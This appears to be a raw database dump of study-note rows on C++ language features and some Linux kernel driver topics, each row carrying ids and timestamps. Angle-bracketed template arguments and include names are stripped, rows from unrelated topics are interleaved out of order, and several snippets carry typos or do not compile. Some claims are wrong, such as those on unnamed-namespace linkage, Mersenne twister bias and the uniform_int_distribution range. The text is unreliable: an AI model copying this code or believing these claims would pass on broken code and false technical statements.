void func(int const a, int const b, int const c)\n{\n std::cout << a << b << c << '\\\\n';\n} text txt 2024-07-28 10:03:43.19523 -2985 710 void func(std::initializer_list const list)\n{\n for (auto const& e: list)\n std::cout << e;\n std::cout << '\\\\n';\n} text txt 2024-07-28 10:03:43.215445 -2986 710 int main()\n{\n std::string s1("text"); // direct initialization\n std::string s2 = "text"; // copy initialization\n std::string s3{"text"}; // direct list-initialization\n std::string s4 = {"text"}; // copy list-initialization text txt 2024-07-28 10:03:43.235714 -2987 710 std::vector v{1, 2, 3};\n std::map m{{1, "one"}, {2, "two"}}; text txt 2024-07-28 10:03:43.256768 -2988 710 func({1, 2, 3}); // call std::initializer_list overload text txt 2024-07-28 10:03:43.277137 -2989 710 std::vector v1{4}; // size = 1\n std::vector v2(4); // size = 4 text txt 2024-07-28 10:03:43.297981 -2990 710 auto a = {42}; // std::initializer_list\n auto b{42}; // int\n auto c = {4, 2}; //std::initializer_list\n auto d{4, 2}; // error, too many elements code txt 2024-07-28 10:03:43.319562 -2991 711 struct base\n{\n // default member initialization\n const int height = 14;\n const int width = 80; text txt 2024-07-28 10:03:43.870543 -2992 711 v_align valign = v_align::middle;\n h_align halign = h_align::left; text txt 2024-07-28 10:03:43.891984 -2993 711 std::string text; text txt 2024-07-28 10:03:43.91454 -2994 711 // constructor initialization list\n base(std::string const& t): text{t}\n {} text txt 2024-07-28 10:03:43.93681 -2995 711 base(std::string const& t, v_align const va, h_align const ha): text{t}, valign{va}, halign{ha}\n {}\n}; code txt 2024-07-28 10:03:43.957717 -2996 712 * The alignment must match the size of the largest member in order to avoid performance issues. text txt 2024-07-28 10:03:45.126035 -2997 712 struct foo1 // size = 1, alignment = 1\n{ // foo1: +-+\n char a; // members: |a|\n}; text txt 2024-07-28 10:03:45.146479 -2998 712 struct foo2 // size = 2, alignment = 1\n{ // foo1: +-+-+\n char a; // members: |a|b|\n char b;\n}; text txt 2024-07-28 10:03:45.167678 -2999 712 struct foo3 // size = 8, alignment = 4\n{ // foo1: +----+----+\n char a; // members: |a...|bbbb|\n int b;\n}; text txt 2024-07-28 10:03:45.188121 -3000 712 struct foo3_\n{\n char a; // 1 byte\n char _pad0[3]; // 3 bytes\n int b; // 4 byte\n}; text txt 2024-07-28 10:03:45.208853 -3001 712 struct foo4 // size = 24, alignment = 8\n{ // foo4: +--------+--------+--------+--------+\n int a; // members: |aaaa....|cccc....|dddddddd|e.......|\n char b;\n float c;\n double d;\n bool e;\n}; text txt 2024-07-28 10:03:45.229643 -3002 712 struct foo4_\n{\n int a; // 4 bytes\n char b; // 1 byte\n char _pad0[3]; // 3 bytes\n float c; // 4 bytes\n char _pad1[4]; // 4 bytes\n double d; // 8 bytes\n bool e; // 1 byte\n char _pad2[7]; // 7 bytes\n}; code txt 2024-07-28 10:03:45.251942 -3003 713 * `alignof` can only be applied to type-ids, and not to variables or class data members. text txt 2024-07-28 10:03:45.728119 -3004 713 struct alignas(4) foo\n{\n char a;\n char b;\n}; text txt 2024-07-28 10:03:45.749693 -3005 713 alignof(foo); // 4\nalignof(foo&); // 4\nalignof(char); // 1\nalignof(int); // 4\nalignof(int*); // 8 (64-bit)\nalignof(int[4]);// 4 (natural alignment of element is 4) code txt 2024-07-28 10:03:45.770878 -3041 721 #include \n#include \n#include text txt 2024-07-28 10:03:53.819352 -3051 721 private:\n std::size_t index;\n C& collection;\n}; text txt 2024-07-28 10:03:54.029971 -3006 714 * `alignas` takes an expression evaluating 0 or valid value for alignment, a type-id, or a parameter pack.\n* only valid values are the powers of two.\n* program is ill-formed if largest `alignas` on a declaration is smaller than natural alignment without any `alignas` specifier. text txt 2024-07-28 10:03:47.015733 -3007 714 // alignas specifier applied to struct\nstruct alignas(4) foo1 // size = 4, aligned as = 4\n{ // foo1: +----+\n char a; // members: |a.b.|\n char b;\n}; text txt 2024-07-28 10:03:47.037073 -3008 714 struct foo1_ // size = 4, aligned as = 1\n{\n char a; // 1 byte\n char b; // 1 byte\n char _pad0[2]; // 2 bytes\n}; text txt 2024-07-28 10:03:47.05888 -3009 714 // alignas specifier applied to member data declarations\nstruct foo2 // size = 16, aligned as = 8\n{ // foo2: +--------+--------+\n alignas(2) char a; // members: |aa......|bbbb....|\n alignas(8) int b;\n}; text txt 2024-07-28 10:03:47.080907 -3010 714 struct foo2_ // size = 16, aligned as = 4\n{\n char a; // 2 bytes\n char _pad0[6]; // 6 bytes\n int b; // 4 bytes\n char _pad1[4]; // 4 bytes\n}; text txt 2024-07-28 10:03:47.102235 -3011 714 // the alignas specifier applied to the struct is less than alignas\n// specifier applied to member data declaration, thus will be ignored.\nstruct alignas(4) foo3 // size = 16, aligned as = 8\n{ // foo3: +--------+--------+\n alignas(2) char a; // members: |aa......|bbbbbbbb|\n alignas(8) int b;\n}; text txt 2024-07-28 10:03:47.122826 -3012 714 struct foo3_ // size = 16, aligned as = 4\n{\n char a; // 2 byte\n char _pad0[6]; // 6 bytes\n int b; // 4 bytes\n char _pad1[4]; // 4 bytes\n}; text txt 2024-07-28 10:03:47.144087 -3013 714 alignas(8) int a; // size = 4, alignment = 8\nalignas(256) long b[4]; // size = 32, alignment = 256 code txt 2024-07-28 10:03:47.165439 -3014 715 * Scoped enumerations do not export their enumerators to the surrounding scope.\n* Scoped enumerations have an underlying type so they can be forward declared.\n* Values of scoped enumerations do not convert implicitly to int. text txt 2024-07-28 10:03:47.678651 -3015 715 enum class status: unsigned int; // forward declared text txt 2024-07-28 10:03:47.698873 -3016 715 status do_something(); // function declaration/prototype text txt 2024-07-28 10:03:47.7193 -3017 715 enum class status : unsigned int\n{\n success = 0,\n failed = 1,\n unknown = 0xffff0000U\n}; text txt 2024-07-28 10:03:47.740338 -3018 715 status do_something() { return status::success; } code txt 2024-07-28 10:03:47.761252 -3019 716 #include text txt 2024-07-28 10:03:48.323311 -3020 716 enum class status : unsigned int\n{\n success = 0,\n failure = 1,\n unknown = 0xffff0000U\n}; text txt 2024-07-28 10:03:48.343802 -3021 716 std::string_view to_string(status const s)\n{\n switch (s)\n {\n using enum status;\n case success: return "success";\n case failure: return "failure";\n case unknown: return "unknown";\n }\n} code txt 2024-07-28 10:03:48.364294 -3022 717 class base\n{\n virtual void foo() = 0;\n virtual void bar() {}\n virtual void baz() = 0;\n}; text txt 2024-07-28 10:03:48.996036 -3023 717 class alpha: public base\n{\n virtual void bar() override {}\n virtual void baz() override {}\n}; text txt 2024-07-28 10:03:49.016283 -3024 717 class beta: public alpha\n{\n virtual void foo() override {}\n}; text txt 2024-07-28 10:03:49.038317 -3025 717 beta object; code txt 2024-07-28 10:03:49.05863 -3026 718 class base\n{\n virtual void foo() = 0;\n virtual void bar() {}\n virtual void baz() = 0;\n}; text txt 2024-07-28 10:03:49.735176 -3027 718 class alpha: public base\n{\n virtual void foo() override {}\n virtual void baz() override final {}\n}; text txt 2024-07-28 10:03:49.756907 -3028 718 class beta: public alpha\n{\n // won't compile\n virtual void baz() override {}\n}; text txt 2024-07-28 10:03:49.77763 -3029 718 int main()\n{\n beta object;\n} code txt 2024-07-28 10:03:49.798186 -3030 719 class base\n{\n virtual void foo() = 0;\n virtual void bar() {}\n virtual void baz() = 0;\n}; text txt 2024-07-28 10:03:50.362646 -3031 719 class derived final: public base\n{\n virtual void foo() override {}\n virtual void baz() override {}\n}; text txt 2024-07-28 10:03:50.383316 -3032 719 // won't compile\nclass prime: public derived\n{\n}; code txt 2024-07-28 10:03:50.405015 -3033 720 #include \n#include text txt 2024-07-28 10:03:51.303209 -3034 720 std::vector get_numbers()\n{\n return std::vector{1, 2, 3, 4, 5};\n} text txt 2024-07-28 10:03:51.322545 -3035 720 std::map get_doubles()\n{\n return std::map{\n {0, 0.0},\n {1, 1.1},\n {2, 2.2}\n };\n} text txt 2024-07-28 10:03:51.343569 -3036 720 int main()\n{\n auto numbers = std::vector{1, 2, 3, 4, 5};\n auto copies = std::vector(numbers.size() * 4); text txt 2024-07-28 10:03:51.362892 -3037 720 for (int element: numbers)\n copies.push_back(element); text txt 2024-07-28 10:03:51.383062 -3038 720 for (int& element: numbers)\n copies.push_back(element); text txt 2024-07-28 10:03:51.404627 -3039 720 for (auto&& element: get_numbers())\n copies.push_back(element); text txt 2024-07-28 10:03:51.425227 -3040 720 for (auto&& [key, value]: get_doubles())\n copies.push_back(key);\n} code txt 2024-07-28 10:03:51.446444 -3042 721 template\nclass dummy_array\n{\n T data[S] = {}; text txt 2024-07-28 10:03:53.840135 -3043 721 public:\n T const& at(std::size_t const index) const\n {\n if (index < S) return data[index];\n throw std::out_of_range("index out of range");\n } text txt 2024-07-28 10:03:53.861247 -3044 721 void insert(std::size_t const index, T const& value)\n {\n if (index < S) data[index] = value;\n else throw std::out_of_range("index out of range");\n } text txt 2024-07-28 10:03:53.883305 -3046 721 template\nclass dummy_array_iterator_type\n{\npublic:\n dummy_array_iterator_type(C& collection, std::size_t const index):\n index{index}, collection{collection}\n {} text txt 2024-07-28 10:03:53.925451 -3047 721 bool operator !=(dummy_array_iterator_type const& other) const\n {\n return index != other.index;\n } text txt 2024-07-28 10:03:53.947421 -3048 721 T const& operator *() const\n {\n return collection.at(index);\n } text txt 2024-07-28 10:03:53.967983 -3049 721 dummy_array_iterator_type& operator ++()\n {\n ++index;\n return *this;\n } text txt 2024-07-28 10:03:53.988992 -3050 721 dummy_array_iterator_type operator ++(int)\n {\n auto temp = *this;\n ++*temp;\n return temp;\n } text txt 2024-07-28 10:03:54.009012 -3052 721 template\nusing dummy_array_iterator = dummy_array_iterator_type, S>; text txt 2024-07-28 10:03:54.050105 -3053 721 template\nusing dummy_array_const_iterator = dummy_array_iterator_type const, S>; text txt 2024-07-28 10:03:54.071418 -3054 721 template\ninline dummy_array_iterator begin(dummy_array& collection)\n{\n return dummy_array_iterator(collection, 0);\n} text txt 2024-07-28 10:03:54.092842 -3055 721 template\ninline dummy_array_iterator end(dummy_array& collection)\n{\n return dummy_array_iterator(collection, collection.size());\n} text txt 2024-07-28 10:03:54.114877 -3056 721 template\ninline dummy_array_const_iterator begin(dummy_array const& collection)\n{\n return dummy_array_const_iterator(collection, 0);\n} text txt 2024-07-28 10:03:54.13594 -3057 721 template\ninline dummy_array_const_iterator end(dummy_array const& collection)\n{\n return dummy_array_const_iterator(collection, collection.size());\n} text txt 2024-07-28 10:03:54.15662 -3058 721 int main()\n{\n dummy_array numbers;\n numbers.insert(0, 1);\n numbers.insert(1, 2);\n numbers.insert(2, 3);\n numbers.insert(3, 4);\n numbers.insert(4, 5); text txt 2024-07-28 10:03:54.178575 -3059 721 for (auto&& element: numbers)\n std::cout << element << ' ';\n std::cout << '\\\\n';\n} code txt 2024-07-28 10:03:54.198894 -3061 722 class string_buffer\n{\npublic:\n explicit string_buffer() {}\n explicit string_buffer(std::size_t const size) {}\n explicit string_buffer(char const* const ptr) {}\n explicit operator bool() const { return false; }\n explicit operator char* const () const { return nullptr; }\n}; text txt 2024-07-28 10:03:54.918864 -3062 722 int main()\n{\n std::shared_ptr str;\n string_buffer b1; // calls string_buffer()\n string_buffer b2(20); // calls string_buffer(std::size_t const)\n string_buffer b3(str.get()); // calls string_buffer(char const*) text txt 2024-07-28 10:03:54.940866 -3064 722 // implicit conversion cases when explicit not specified\n string_buffer b4 = 'a'; // would call string_buffer(std::size_t const)\n string_buffer b5 = small; // would call string_buffer(std::size_t const)\n} code txt 2024-07-28 10:03:54.981937 -3065 723 * First, an unnamed namespaces will be expanded to a compiler defined unique name.\n* Second, a `using` directive expands namespace.\n* Third, the unnamed namespace will be named.\n* Therefore, any function declared in it have local visibility but have external linkage. text txt 2024-07-28 10:03:55.794602 -3067 723 namespace\n{\n void print()\n {\n std::cout << "file1" << std::endl;\n }\n} text txt 2024-07-28 10:03:55.83698 -3070 723 namespace\n{\n void print()\n {\n std::cout << "file2" << std::endl;\n }\n} text txt 2024-07-28 10:03:55.898029 -3072 724 * Prior to C++11, non-type template arguments could not be named with internal linkage, so `static` variables were not allowed. VC++ compiler still doesn't support it. text txt 2024-07-28 10:03:56.426901 -4909 1390 Wait queues are higher-level mechanism essentially used to process blocking input/output, to wait for a condition to be true, to wait for a given event to occur, or to sense data or resource availability. text txt 2024-07-28 10:08:53.238408 -4912 1390 A wait queue is nothing but a list with sleeping processes in it waiting to be awakened and a spinlock to protect access to this list. text txt 2024-07-28 10:08:53.301772 -4916 1392 Any process that wants to sleep waiting for `some_event` to occur can invoke either `wait_event_interruptible()` or `wait_event()`. text txt 2024-07-28 10:08:54.104053 -4919 1392 Both functions will put the process to sleep only if the expression evaluates `false`. text txt 2024-07-28 10:08:54.166437 -4922 1393 wait_event_timeout(&smoe_event, condition, timeout) code txt 2024-07-28 10:08:54.497791 -4925 1394 - **Timeout elapsed:** the function returns 0 if the condition is evaluated to `false` or 1 if it is evaluated `true`.\n- **Timeout not elapsed yet:** the function returns the remaining time (in jiffies at least 1) if the condition is evaluated to `true`. text txt 2024-07-28 10:08:54.777929 -4928 1396 In order to wake up a process sleeping on a wait queue, you should call either of the following functions.\nWhenever you call any of these functions, the condition is re-evaluated again.\nIf the condition is `true` at that time, then a process (or all processes for the `_all()` variant) in the wait queue will be awakened, and its state set to `TASK_RUNNING`; otherwise, nothing happens. text txt 2024-07-28 10:08:55.426128 -4931 1397 A nonezero means your sleep has been interrupted by some sort of signal, and the driver should return `ERESTARTSYS`. text txt 2024-07-28 10:08:55.695752 -4935 1399 insmod /lib/modules/$(uname -r)/kernel/fs/ # Operation not permitted\nsudo insmod /lib/modules/$(uname -r)/kernel/fs/btfs # No such file or directory\nsudo insmod /lib/modules/$(uname -r)/kernel/fs/btfs/btfs.ko # Unknown symbol in module code txt 2024-07-28 10:08:56.430097 -4940 1401 Origin: Effectively use module commands text txt 2024-07-28 10:08:56.846408 -4944 1403 Origin: Effectively use module commands text txt 2024-07-28 10:08:57.286814 -4948 1404 Origin: Effectively use module commands text txt 2024-07-28 10:08:57.628795 -4952 1407 **LDM** creates a complex hierarchical tree unifying system components, all\nperipheral devices, and their drivers. This tree is exposed to user space via\nthe *sysfs* pseudo-filesystem analogous to how *procfs* exposes some kernel\nand process/thread internal details to user space, and is typically mounted\nunder `/sys`. text txt 2024-07-28 10:08:58.621805 -4955 1409 A namespace contains the device type and major-minor pair, which form a\nhierarchy. Devices are organized within a tree-like hierarchy within the\nkernel. This hierarchy is first divided based on device type, block or char.\nWithin that we have n major numbers for each type, and each major number is\nfurther classified via some m minor numbers. text txt 2024-07-28 10:08:59.213212 -4958 1411 Only **Linux Assigned Names And Numbers Authority (LANANA)** can officially\nassign the device node (the type and `{major:minor}` numbers) to devices text txt 2024-07-28 10:09:00.04709 -4961 1411 A common problem is that of the namespace getting exhausted. Within the misc\nclass (`#10`) live a lot of devices and their corresponding drivers. In\neffect, they share the same major number and rely on a unique minor number to\nidentify themselves. text txt 2024-07-28 10:09:00.111256 -4964 1414 Critically, they organize and recognize the devices on them. If a new device\nsurfaces, like a pen drive, the USB bus driver will recognize the fact and\nbind it to its device driver. text txt 2024-07-28 10:09:00.805888 -4967 1416 Write a platform driver, register it with the kernel's `misc` framework and\nthe **platform bus**, a pseudo-bus infrastructure that supports devices that\ndo not physically reside on any physical bus. Several peripherals built into\na modern **SoC** are not on any physical bus, and thus their drivers are\ntypically platform drivers. To get started, look under the kernel source tree\nin `drivers/` for code invoking the `platform_driver_register()` API. text txt 2024-07-28 10:09:01.643041 -4970 1417 Quite often, the negative `errno` value returned by the VFS is intuitive. For\nexample, it returns `EINVAL` when `read()` function pointer is `NULL`. This\nmisleads user space process to think of *"Invalid argument"* error, which\nisn't the case. text txt 2024-07-28 10:09:02.151486 -4973 1419 #include \n#include text txt 2024-07-28 10:09:03.925523 -4976 1419 ret = misc_register(&miscdev); text txt 2024-07-28 10:09:03.988142 -4979 1419 static void __exit miscdev_exit(void)\n{ } text txt 2024-07-28 10:09:04.04957 -4982 1419 obj-m := miscdev.o text txt 2024-07-28 10:09:04.110763 -4995 1421 ret = misc_register(&miscdev); text txt 2024-07-28 10:09:06.144341 -3074 724 static int Size1 = 10; text txt 2024-07-28 10:03:56.467955 -3075 724 namespace\n{\n int Size2 = 10;\n} text txt 2024-07-28 10:03:56.48828 -3076 724 test t1; // error only on VC++\ntest t2; // okay code txt 2024-07-28 10:03:56.509251 -3077 725 * Specialization of a template is required to be done in the same namespace where the template was declared.\n* Define the content of the library inside a namespace\n* Define each version of the library or parts of it inside an inner inline namespace\n* Use preprocessor macros to enable a particular version of the library text txt 2024-07-28 10:03:58.663271 -3078 725 namespace incorrect_implementation\n{\n namespace v1\n {\n template\n int test(T value) { return 1; }\n } text txt 2024-07-28 10:03:58.684608 -3079 725 #ifndef _lib_version_1\n using namespace v1;\n #endif text txt 2024-07-28 10:03:58.705638 -3080 725 namespace v2\n {\n template\n int test(T value) { return 2; }\n } text txt 2024-07-28 10:03:58.725681 -3081 725 #ifndef _lib_version_2\n using namespace v2;\n #endif\n} text txt 2024-07-28 10:03:58.746325 -3082 725 namespace broken_client_code\n{\n // okay\n auto x = incorrect_implementation::test(42); text txt 2024-07-28 10:03:58.766927 -3083 725 struct foo { int a; }; text txt 2024-07-28 10:03:58.787034 -3084 725 // breaks\n namespace incorrect_implementation\n {\n template <>\n int test(foo value) { return value.a; }\n } text txt 2024-07-28 10:03:58.807663 -3085 725 // won't compile\n auto y = incorrect_implementation::test(foor{42}); text txt 2024-07-28 10:03:58.828227 -3086 725 // library leaks implementation details\n namespace incorrect_implementation\n {\n namespace version_2\n {\n template<>\n int test(foo value) { return value.a; }\n }\n } text txt 2024-07-28 10:03:58.849966 -3087 725 // okay, but client needs to be aware of implementation details\n auto y = incorrect_implementation::test(foor{42});\n} code txt 2024-07-28 10:03:58.872669 -3088 725 namespace correct_implementation\n{\n #ifndef _lib_version_1\n inline namespace v1\n {\n template\n int test(T value) { return 1; }\n }\n #endif text txt 2024-07-28 10:03:58.892889 -3089 725 #ifndef _lib_version_2\n inline namespace v2\n {\n template\n int test(T value) { return 2; }\n }\n #endif\n} text txt 2024-07-28 10:03:58.914594 -3090 725 namespace working_client_code\n{\n // okay\n auto x = correct_implementation::test(42); text txt 2024-07-28 10:03:58.935819 -3091 725 struct foo { int a; }; text txt 2024-07-28 10:03:58.955489 -3092 725 namespace correct_implementation\n {\n template <>\n int test(foo value) { return value.a; }\n } text txt 2024-07-28 10:03:58.976925 -3093 725 // okay\n auto y = correct_implementation::test(foor{42});\n} code txt 2024-07-28 10:03:58.99872 -3094 726 * Only by C++20 structured bindings can include `static` or `thread_local` specifiers in the declaration.\n* Only by C++20 `[[maybe_unused]]` attribute can be used in the declaration.\n* Only by C++20 a lambda can capture structure binding identifiers. text txt 2024-07-28 10:03:59.515158 -3095 726 #include \n#include text txt 2024-07-28 10:03:59.53593 -3096 726 int main()\n{\n std::set numbers; text txt 2024-07-28 10:03:59.555749 -3097 726 if (auto const [iter, inserted] = numbers.insert(1); inserted)\n std::cout << std::distance(numbers.cbegin(), iter);\n} code txt 2024-07-28 10:03:59.575666 -3098 727 * The type of objects without template arguments are not types, but act as a placeholder for a type that activates CTAD. When compiler encouters it, it builds a set of deduction guides which can be complemented by user with user defined deduction rules.\n* CTAD does not occur if the template argument list is present. text txt 2024-07-28 10:03:59.871586 -3099 727 std::pair p{42, "demo"}; // std::pair\nstd::vector v{1, 2}; // std::vector code txt 2024-07-28 10:03:59.892595 -3100 728 auto si = std::to_string(42); // "42"\nauto sl = std::to_string(42L); // "42"\nauto su = std::to_string(42u); // "42"\nauto sd = std::to_wstring(42.0); // "42.000000"\nauto sld = std::to_wstring(42.0L); // "42.000000" code txt 2024-07-28 10:04:00.129883 -3101 729 auto i1 = std::stoi("42");\nauto i2 = std::stoi("101010", nullptr, 2);\nauto i3 = std::stoi("052", nullptr, 8);\nauto i7 = std::stoi("052", nullptr, 0);\nauto i4 = std::stoi("0x2A", nullptr, 16);\nauto i9 = std::stoi("0x2A", nullptr, 0);\nauto i10 = std::stoi("101010", nullptr, 2);\nauto i11 = std::stoi("22", nullptr, 20);\nauto i12 = std::stoi("-22", nullptr, 20); text txt 2024-07-28 10:04:00.516736 -3102 729 auto d1 = std::stod("123.45"); // d1 = 123.45000000000000\nauto d2 = std::stod("1.2345e+2"); // d2 = 123.45000000000000\nauto d3 = std::stod("0xF.6E6666p3"); // d3 = 123.44999980926514 code txt 2024-07-28 10:04:00.537495 -3103 730 * The input string.\n* A pointer that, when not null, will receive the number of characters that were\nprocessed. This can include any leading whitespaces that were discarded,\nthe sign, and the base prefix, so it should not be confused with the number\nof digits the integral value has.\n* A number indicating the base; by default, this is 10. Valid numbers of 2 to 36. text txt 2024-07-28 10:04:00.922018 -3104 730 template>\nT stoi(std::string const& str, std::size_t* pos = 0, T base = 10); text txt 2024-07-28 10:04:00.943152 -3105 730 template>\nF stof(std::string const& str, std::size_t* pos = 0); code txt 2024-07-28 10:04:00.96446 -3106 731 * A sign, plus (**+**) or minus (**-**) (optional)\n* Prefix **0** to indicate an octal base (optional)\n* Prefix **0x** or **0X** to indicate a hexadecimal base (optional)\n* A sequence of digits text txt 2024-07-28 10:04:01.282466 -3107 731 auto i1 = std::stoi("42"); // 42\nauto i2 = std::stoi(" 42"); // 42\nauto i3 = std::stoi(" 42fortytwo"); // 42\nauto i4 = std::stoi("+42"); // 42\nauto i5 = std::stoi("-42"); // -42 code txt 2024-07-28 10:04:01.303865 -3108 732 * `std::invalid_argument`: conversion cannot be performed.\n* `std::out_of_range`: converted value is outside the range of the result type. text txt 2024-07-28 10:04:01.890176 -3109 732 try\n{\nauto i1 = std::stoi("");\n}\ncatch (std::invalid_argument const& exp)\n{\nstd::cerr << exp.what() << '\\\\n';\n} text txt 2024-07-28 10:04:01.910652 -3110 732 try\n{\nauto i2 = std::stoi("12345678901234");\nauto i3 = std::stoi("12345678901234");\n}\ncatch (std::out_of_range const& exp)\n{\nstd::cerr << exp.what() << '\\\\n';\n} code txt 2024-07-28 10:04:01.930373 -3111 733 * Decimal floating-point expression (optional sign, sequence of decimal digits with optional point, optional e or E, followed by exponent with optional sign).\n* Binary floating-point expression (optional sign, 0x or 0X prefix, sequence of hexadecimal digits with optional point, optional p or P, followed by exponent with optional sign).\n* Infinity expression (optional sign followed by case-insensitive INF or INFINITY).\n* A non-number expression (optional sign followed by case-insensitive NAN and possibly other alphanumeric characters). text txt 2024-07-28 10:04:02.381563 -3167 752 Always define literals in a separate namespace to avoid name clashes. text txt 2024-07-28 10:04:10.243261 -3168 752 T operator ""_suffix(char const*); text txt 2024-07-28 10:04:10.263071 -3964 979 docker history code txt 2024-07-28 10:06:16.701818 -3112 733 auto d1 = std::stod("123.45"); // d1 = 123.45000000000000\nauto d2 = std::stod("+123.45"); // d2 = 123.45000000000000\nauto d3 = std::stod("-123.45"); // d3 = -123.45000000000000\nauto d4 = std::stod(" 123.45"); // d4 = 123.45000000000000\nauto d5 = std::stod(" -123.45abc"); // d5 = -123.45000000000000\nauto d6 = std::stod("1.2345e+2"); // d6 = 123.45000000000000\nauto d7 = std::stod("0xF.6E6666p3"); // d7 = 123.44999980926514\nauto d8 = std::stod("INF"); // d8 = inf\nauto d9 = std::stod("-infinity"); // d9 = -inf\nauto d10 = std::stod("NAN"); // d10 = nan\nauto d11 = std::stod("-nanabc"); // d11 = -nan code txt 2024-07-28 10:04:02.404164 -3113 734 Standard types that are not arithmetic types, such as `std::complex` or `std::nullptr_t`, do not have `std::numeric_limits` specializations. text txt 2024-07-28 10:04:02.813937 -3114 734 #include text txt 2024-07-28 10:04:02.835901 -3115 734 auto min_int = std::numeric_limits::min();\nauto max_int = std::numeric_limits::max(); text txt 2024-07-28 10:04:02.855579 -3116 734 auto min_double = std::numeric_limits::min();\nauto low_double = std::numeric_limits::lowest();\nauto max_double = std::numeric_limits text txt 2024-07-28 10:04:03.410119 -3119 735 template\nT minimum(Iter const start, Iter const end)\n{\n T latest_minimum = std::numeric_limits::max(); text txt 2024-07-28 10:04:03.430807 -3120 735 for (autp i = start; i < end; ++i)\n if (*i < latest_minimum)\n latest_minimum = *i; text txt 2024-07-28 10:04:03.452088 -3121 735 return latest_minimum;\n} code txt 2024-07-28 10:04:03.472174 -3122 736 `digits` represents the number of bits (excluding the sign bit if present) and padding bits (if any) for integral types and the number of bits of the mantissa for floating-point types. text txt 2024-07-28 10:04:03.842481 -3123 736 #include text txt 2024-07-28 10:04:03.864137 -3124 736 auto s = std::numeric_limits::digits;\nauto d = std::numeric_limits::digits; code txt 2024-07-28 10:04:03.885078 -3125 737 #include text txt 2024-07-28 10:04:04.193164 -3126 737 auto s = std::numeric_limits::digits10;\nauto d = std::numeric_limits::digits10; code txt 2024-07-28 10:04:04.213417 -3127 738 #include text txt 2024-07-28 10:04:04.470494 -3128 738 auto value_is_signed = std::numeric_limist::is_signed; code txt 2024-07-28 10:04:04.492092 -3129 739 #include text txt 2024-07-28 10:04:04.770672 -3130 739 auto value_is_integer = std::numeric_limist::is_integer; code txt 2024-07-28 10:04:04.791384 -3131 740 #include text txt 2024-07-28 10:04:05.042239 -3132 740 auto value_is_exact = std::numeric_limist::is_exact; code txt 2024-07-28 10:04:05.063364 -3133 741 #include text txt 2024-07-28 10:04:05.312447 -3134 741 auto value_has_infinity = std::numeric_limist::has_infinity; code txt 2024-07-28 10:04:05.332745 -3135 742 Except for `random_device`, all engines produce numbers in a uniform distribution. text txt 2024-07-28 10:04:05.667577 -3136 742 #include text txt 2024-07-28 10:04:05.68725 -3137 742 auto min = std::mt19937::min();\nauto max = std::mt19937::max(); code txt 2024-07-28 10:04:05.708268 -3138 743 Random generators can be seeded using their constructors or the `seed()` method.\nNote that `random_device` cannot be seeded. text txt 2024-07-28 10:04:06.115007 -3139 743 #include text txt 2024-07-28 10:04:06.135418 -3140 743 std::random_device seeder;\nstd::mt19937 generator1{seeder()}; text txt 2024-07-28 10:04:06.156733 -3141 743 std::mt19937 generator2;\ngenerator2.seed(seeder()); code txt 2024-07-28 10:04:06.177504 -3142 744 The function call operators of random engines are overloaded and generate a new number uniformly distributed between `min()` and `max()`: text txt 2024-07-28 10:04:06.515932 -3143 744 #include text txt 2024-07-28 10:04:06.535856 -3144 744 std::random_device seeder;\nstd::mt19937 generator{seeder()};\nauto number = generator(); code txt 2024-07-28 10:04:06.557397 -3145 745 #include text txt 2024-07-28 10:04:06.834313 -3146 745 std::mt19937 generator{};\ngenerator.discard(4); // discard 4 numbers code txt 2024-07-28 10:04:06.855551 -3147 746 The Mersenne twister engine has a bias toward producing some values repeatedly and omitting others, thus generating numbers not in a uniform distribution, but rather in a binomial or Poisson distribution. text txt 2024-07-28 10:04:07.39489 -3148 746 #include \n#include text txt 2024-07-28 10:04:07.415923 -3149 746 int main()\n{\n std::random_device seeder; text txt 2024-07-28 10:04:07.437675 -3150 746 std::array seed_data{};\n std::generate(std::begin(seed_data), std::end(seed_data), std::ref(seeder));\n std::seed_seq seeds(std::begin(seed_data), std::end(seed_data));\n std::mt19937 generator{seeds};\n std::uniform_int_distribution<> dist{0, 10}; // [0, 10)\n int random_number = dist(generator);\n} code txt 2024-07-28 10:04:07.459982 -3151 747 T operator ""_suffix(unsigned long long int); // biggest integral type\nT operator ""_suffix(long double); // biggest floating-point type\nT operator ""_suffix(char);\nT operator ""_suffix(wchar_t);\nT operator ""_suffix(char16_t);\nT operator ""_suffix(char32_t);\nT operator ""_suffix(char const *, std::size_t);\nT operator ""_suffix(wchar_t const *, std::size_t);\nT operator ""_suffix(char16_t const *, std::size_t);\nT operator ""_suffix(char32_t const *, std::size_t); code txt 2024-07-28 10:04:07.899163 -3152 748 namespace units\n{\n inline namespace literals\n {\n inline namespace units_literals\n {\n constexpr size_t operator ""_KB(unsigned long long const size)\n {\n return static_cast(size * 1024);\n }\n }\n }\n} text txt 2024-07-28 10:04:08.518354 -3153 748 int main()\n{\n using namespace units::units_literals; text txt 2024-07-28 10:04:08.540001 -3154 748 size_t bytes = "1024"_KB;\n} code txt 2024-07-28 10:04:08.560889 -3155 749 #include text txt 2024-07-28 10:04:09.030199 -3156 749 using namespace std::string_literals; text txt 2024-07-28 10:04:09.050673 -3157 749 auto s1{ "text"s }; // std::string\nauto s2{ L"text"s }; // std::wstring\nauto s3{ u8"text"s }; // std::u8string\nauto s3{ u"text"s }; // std::u16string\nauto s4{ U"text"s }; // std::u32string text txt 2024-07-28 10:04:09.070908 -3158 749 using namespace std::string_view_literals; text txt 2024-07-28 10:04:09.091798 -3159 749 auto s5{ "text"sv }; // std::string_view code txt 2024-07-28 10:04:09.111708 -3160 750 #include text txt 2024-07-28 10:04:09.487584 -3161 750 using namespace std::chrono_literals; text txt 2024-07-28 10:04:09.507312 -3162 750 auto timer {2h + 42min + 15s}; // std::chrono::duration text txt 2024-07-28 10:04:09.52762 -3163 750 auto year { 2035y }; // std::chrono::year (c++20)\nauto day { 15d }; // std::chrono::day (c++20) code txt 2024-07-28 10:04:09.548668 -3164 751 #include text txt 2024-07-28 10:04:09.884549 -3165 751 using namespace std::complex_literals; text txt 2024-07-28 10:04:09.905816 -3166 751 auto c{ 12.0 + 4.2i }; // std::complex code txt 2024-07-28 10:04:09.925601 -3169 752 template \nT operator ""_suffix(); code txt 2024-07-28 10:04:10.283848 -3170 753 namespace binary\n{\n using numeric = unsigned int; text txt 2024-07-28 10:04:11.356927 -3171 753 inline namespace binary_literals\n {\n namespace binary_internals\n {\n template\n struct bit_seq; text txt 2024-07-28 10:04:11.377409 -3172 753 template\n struct bit_seq\n {\n static constexpr T value { bit_seq::value };\n }; text txt 2024-07-28 10:04:11.397894 -3173 753 template\n struct bit_seq\n {\n static constexpr T value {\n bit_seq::value | static_cast(1 << sizeof...(bits))\n };\n }; text txt 2024-07-28 10:04:11.41883 -3174 753 template\n struct 